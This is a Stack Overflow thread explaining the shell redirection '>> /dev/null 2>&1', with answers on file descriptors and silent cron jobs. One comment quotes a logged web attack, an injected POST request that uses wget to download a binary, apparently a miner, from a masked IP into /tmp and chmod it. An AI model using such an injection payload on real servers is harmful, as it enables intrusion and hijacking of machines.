What is /dev/null 2>&1? [duplicate]

Asked 10 years, 9 months ago Modified 3 months ago Viewed 456k times

394

This question already has answers here:

What does " 2>&1 " mean? (19 answers)

Closed 7 days ago.

I found this piece of code in /etc/cron.daily/apf

```
#!/bin/bash
/etc/apf/apf -f >> /dev/null 2>&1
/etc/apf/apf -s >> /dev/null 2>&1
```

It's flushing and reloading the firewall.
I don't understand the `>> /dev/null 2>&1` part.

What is the purpose of having this in the cron? It's overriding my firewall rules. Can I safely remove this cron job?

shell syntax posix io-redirection

Share Improve this question Follow

edited Oct 12, 2018 at 18:56
codeforester
37.2k 16 107 132

asked May 9, 2012 at 1:46
resting
15.5k 16 59 88

3 FYI: A shorter way of silencing a process is `>&- 2>&-` . – Zaz Jul 27, 2013 at 20:08

38 @Josh: why make things even more cryptic than they already are? – endolith Nov 26, 2013 at 14:48

4 @Josh This closes the respective FDs, which could make the programs abort. – glglgl Apr 9, 2014 at 7:03

2 is `2>&1 > /dev/null` the same as `> /dev/null 2>&1` ? It seems more natural to me... – edelans Sep 10, 2014 at 16:50

11 @edelans No. That way redirects stderr to the stdout, but then only the original stdout to `/dev/null` —stderr will still be output. Try the tool at gist.github.com/zigg/344361751c0110419b0f – zigg May 18, 2015 at 15:18

10 Answers

Sorted by:

Highest score (default) ⬍

522

(The `>>` seems sort of superfluous, since `>>` means append while `>` means truncate and write, and either appending to or writing to `/dev/null` has the same net effect. I usually just use `>` for that reason.)

`2>&1` redirects standard error (`2`) to standard output (`1`), which then discards it as well since standard output has already been redirected.

Share Improve this answer Follow

edited Apr 9, 2014 at 12:27

answered May 9, 2012 at 1:49

zigg

20k 7 35 54

25 What does the `&` symbol indicate in there `2>&1` . – Nobody Jun 28, 2017 at 9:47

37 & indicates a file descriptor. There are usually 3 file descriptors - standard input, output, and error. – Testing123 Sep 15, 2017 at 17:22

2 @Nobody check my answer below for your question stackoverflow.com/questions/10508843/what-is-dev-null-21/… – Vishrant Feb 5, 2018 at 22:50

15 If & indicates a file descriptor then why is there no & before 2? – user6708151 Nov 13, 2019 at 21:22

6 Just in case others don't read the below answer explaining file descriptors: `When redirecting data streams, & means whatever follows is a file descriptor, not a filename.` – Elysiumplain Dec 9, 2019 at 22:55

439

Let's break `>> /dev/null 2>&1` statement into parts:

Part 1: `>>` output redirection

This is used to redirect the program output and append the output at the end of the file. More...

Part 2: `/dev/null` special file

This is a *Pseudo-devices special file*.

Command `ls -l /dev/null` will give you details of this file:

```
crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null
```

Did you observe `crw`? Which means it is a *pseudo-device* file which is of *character-special-file* type that provides serial access.

> `/dev/null` accepts and discards all input; produces no output (always returns an end-of-file indication on a read). Reference: Wikipedia

Part 3: `2>&1` (Merges output from stream 2 with stream 1)

Whenever you execute a program, the operating system always opens three files, standard input, standard output, and standard error as we know whenever a file is opened, the operating system (from *kernel*) returns a non-negative integer called a *file descriptor*. The file descriptor for these files are 0, 1, and 2, respectively.

So `2>&1` simply says redirect standard error to standard output.

> `&` *means whatever follows is a file descriptor, not a filename.*

In short, by using this command you are telling your program not to shout while executing.

What is the importance of using `2>&1` ?

If you don't want to produce any output, even in case of some error produced in the terminal. To explain more clearly, let's consider the following example:

```
$ ls -l > /dev/null
```

For the above command, no output was printed in the terminal, but what if this command produces an error:

```
$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory
```

Despite I'm redirecting output to `/dev/null`, it is printed in the terminal. It is because we are not redirecting error output to `/dev/null`, so in order to redirect error output as well, it is required to add `2>&1`:

```
$ ls -l file_doesnot_exists > /dev/null 2>&1
```

Share Improve this answer Follow

edited Jun 20, 2021 at 20:40

answered Mar 21, 2017 at 6:35
Vishrant
14.6k 11 69 110

9 Good example! Don't know ' >' won't redirect 'STDERR' before. – miao.wang Feb 5, 2018 at 18:52

1 Nicely explained! very informative. thanks. It would help me to understand the web attack that I recently came across. Attacker is injecting some malicious code through POST request which contains above piece of code. – Sohel Pathan May 16, 2018 at 6:09

1 @Vishrant Injected code is like : POST /user/password?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/ > /dev/null 2>&1 &

on 3rd party website on home page loading. Apache server log shown doubtful IP and request. – Sohel Pathan May 16, 2018 at 6:31

27 I was just wondering why we are not using '&' before 2 as well. Could someone please clear my doubt? – Snehasish Karmakar Aug 3, 2018 at 10:23

11 @SnehasishKarmakar a legitimate question. I believe OS is smart enough to understand that first argument will be a file descriptor but `>` is a redirection operator, whatever follows redirection operator is expected to be a file location adding `&` before `1` indicates that it is not a file where application have to redirect the output but a file descriptor. I will appreciate if someone can add more details of this comment. – Vishrant Aug 17, 2018 at 15:25

88

This is the way to execute a program quietly, and hide all its output.

`/dev/null` is a special filesystem object that discards everything written into it. Redirecting a stream into it means hiding your program's output.

The `2>&1` part means "redirect the error stream into the output stream", so when you redirect the output stream, error stream gets redirected as well. Even if your program writes to `stderr` now, that output would be discarded as well.

Share Improve this answer Follow

edited Jan 16, 2020 at 11:13

answered May 9, 2012 at 1:49

Sergey Kalinichenko
708k 81 1086 1503

49 Actually, `2>&1` actually redirects `stderr` to `stdout`. The difference between this and what you claimed is best illustrated by swapping the order of the redirects, e.g. `2>&1 >/dev/null`. – zigg Dec 6, 2012 at 14:47

41

Let me explain a bit by bit.

0,1,2

```
0: standard input
1: standard output
2: standard error
```

>>

`>>` in `command >> /dev/null 2>&1` appends the command output to `/dev/null`.

command >> /dev/null 2>&1

1. After command:

```
=> 2 output on the terminal screen
```

2. After redirect:

```
command >> /dev/null
=> 1 output to /dev/null
=> 2 output on the terminal screen
```

3. After `/dev/null 2>&1`

```
command >> /dev/null 2>&1
=> 1 output to /dev/null
=> 2 output is redirected to 1 which is now to /dev/null
```

Share Improve this answer Follow

answered Dec 25, 2020 at 0:59
shin
31.4k 68 181 267

24

`/dev/null` is a standard file that discards all you write to it, but reports that the write operation succeeded.

`1` is standard output and `2` is standard error.

`2>&1` redirects standard error to standard output. `&1` indicates file descriptor (standard output), otherwise (if you use just `1`) you will redirect standard error to a file named `1`. `[any command] >>/dev/null 2>&1` redirects all standard error to standard output, and writes all of that to `/dev/null`.

Share Improve this answer Follow

edited Feb 21, 2020 at 19:10
Peter Mortensen
30.9k 21 104 125

answered Mar 10, 2015 at 12:40
Yuriy Vasylenko
2,991 24 24

9

I use `>> /dev/null 2>&1` for a silent cronjob. A cronjob will do the job, but not send a report to my email.

As far as I know, don't remove `/dev/null`. It's useful, especially when you run cPanel, it can be used for throw-away cronjob reports.

Share Improve this answer Follow

edited Feb 21, 2020 at 19:07
Peter Mortensen
30.9k 21 104 125

answered Jun 8, 2013 at 6:29
Christian
91 1 1

As described by the others, writing to /dev/null eliminates the output of a program. Usually

Share Improve this answer Follow

answered Oct 3, 2012 at 20:13
FSMaxB
2,200 3 22 40

0

instead of using >/dev/null 2>&1 Could you use : wget -O /dev/null -o /dev/null example.com

what i can see on the other forum it says. "Here -O sends the downloaded file to /dev/null and -o logs to /dev/null instead of stderr. That way redirection is not needed at all."

and the other solution is : wget -q --spider mysite.com

https://serverfault.com/questions/619542/piping-wget-output-to-dev-null-in-cron/619546#619546

Share Improve this answer Follow

answered Apr 2, 2022 at 17:20
rickard
1

0

I normally used the command in connection with the log files… purpose would be to catch any errors to evaluate/troubleshoot issues when running scripts on multiple servers simultaneously.

```
sh -vxe cmd > cmd.logfile 2>&1
```

Share Improve this answer Follow

edited Oct 19, 2022 at 14:43
fauzimh
573 4 16

answered Oct 15, 2022 at 0:39
pz0bp9
1

-3

Edit `/etc/conf.apf` . Set `DEVEL_MODE="0"` . `DEVEL_MODE` set to `1` will add a cron job to stop apf after 5 minutes.

Share Improve this answer Follow

edited Jul 4, 2014 at 21:51
jww
95k 88 396 860

answered Apr 15, 2013 at 23:01
dstonek
933 1 20 32